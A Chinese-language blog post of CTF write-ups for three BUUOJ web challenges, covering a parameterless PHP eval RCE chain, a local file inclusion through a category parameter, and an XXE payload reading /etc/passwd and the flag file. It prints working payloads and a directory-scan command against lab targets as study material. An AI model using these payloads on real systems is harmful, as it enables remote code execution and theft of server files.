做做buuoj上的web题,本萌新纯采集,轻喷(((
[GXYCTF 2019] 禁止套娃
打开靶机,页面直接显示 “flag在哪里呢?”
所以我们使用dirsearch扫描试试,看看是否有敏感文件
1 python dirsearch.py -u http://7aba8553-300c-45a5-8127 -dbfdd5038404.node4.buuoj.cn:81 / --timeout=2
不得不说buu的反爬是真的恶心…扫快一点就会弹429
发现/.git/能正常访问
使用githack下载源码,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
一眼顶针,鉴定为无参数RCE(经典括号嵌套)
这个过滤的挺少,直接祭出payload薄纱:
1 show_source (next (array_reverse (scandir (pos (localeconv ())))));
(雾)
好了不闹了,先用:
1 var_dump (scandir (pos (localeconv ())));
看flag的位置:
1 array (5 ) { [0 ]=> string (1 ) "." [1 ]=> string (2 ) ".." [2 ]=> string (4 ) ".git" [3 ]=> string (8 ) "flag.php" [4 ]=> string (9 ) "index.php" }
发现在倒数第二,使用array_reverse逆转到第二位,刚好能够使用next函数读取数组的第二位
使用show_source读取php文件即可
[BSidesCF 2020] Had a bad day
打开靶机,发现很多猫图和狗子的图片(雾,重点不是这个)
看看上面的url,发现category=
这引诱人上去加单引号啊(((
试试加个单引号
发现报错了,但是报错的不是sql(
发现了include报错,尝试能不能打开index.php获取源码:
成功读取base64,进行一个解码:
以下是解码的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="description" content="Images that spark joy"> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"> <title>Had a bad day?</title> <link rel="stylesheet" href="css/material.min.css"> <link rel="stylesheet" href="css/style.css"> </head> <body> <div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100"> <header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800"> <div class="mdl-layout__header-row"> <span class="mdl-layout-title">Had a bad day?</span> <div class="mdl-layout-spacer"></div> <div> </header> <div class="page-ribbon"></div> <main class="page-main mdl-layout__content"> <div class="page-container mdl-grid"> <div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div> <div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col"> <div class="page-crumbs mdl-color-text--grey-500"> </div> <h3>Cheer up!</h3> <p> Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up! </p> <div class="page-include"> <?php $file = $_GET['category']; if(isset($file))//重点在这,如果category传参的内容没有woofers/meowers/index的话,不会include文件 { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?> </div> <form action="index.php" method="get" id="choice"> <center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button> <button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center> </form> </div> </div> </main> </div> <script src="js/material.min.js"></script> </body> </html>
重点就是传参的内容需要含有woofers或者meowers或者index,才能进行文件的包含,那这个就很简单了,直接加一个woofers/meowers/index到base64-encode后面去即可,payload如下:
1 2 3 4 5 http: 或者: http: 或者: http:
获得base64,解码获得flag:
1 2 3 4 5 <!-- Can you read this flag? --> <?php ?>
[NCTF 2019] Fake XML cookbook
又是我不会的新知识呢
XXE(XML External Entity Injection)
打开靶机,又是登录。。。
尝试弱口令和SQL注入,肯定是不行的
然后使用Burp抓包,发现了一段:
1 <user > <username > admin</username > <password > admin</password > </user >
加载了来自外部的实体,导致了可以加载外部文件,可以进行文件的读取
以及加上题目的提示 XML,应该可以执行XXE
一个经典的XXE组成如下(DTD外部实体声明)
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> #xml声明<!DOCTYPE a [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> #DTD部分<123>&asdf; </123> #xml部分
所以直接通过burp抓包,然后使用XXE攻击即可
1 2 3 4 5 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "file:///flag" > ]> <user > <username > &admin; </username > <password > admin</password > </user >
成功获得flag
1 2 3 //xxe进行任意文件读取的payload <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><data><ID>&xxe;</ID></data> //将ID和Data更改为初始xxe显示的即可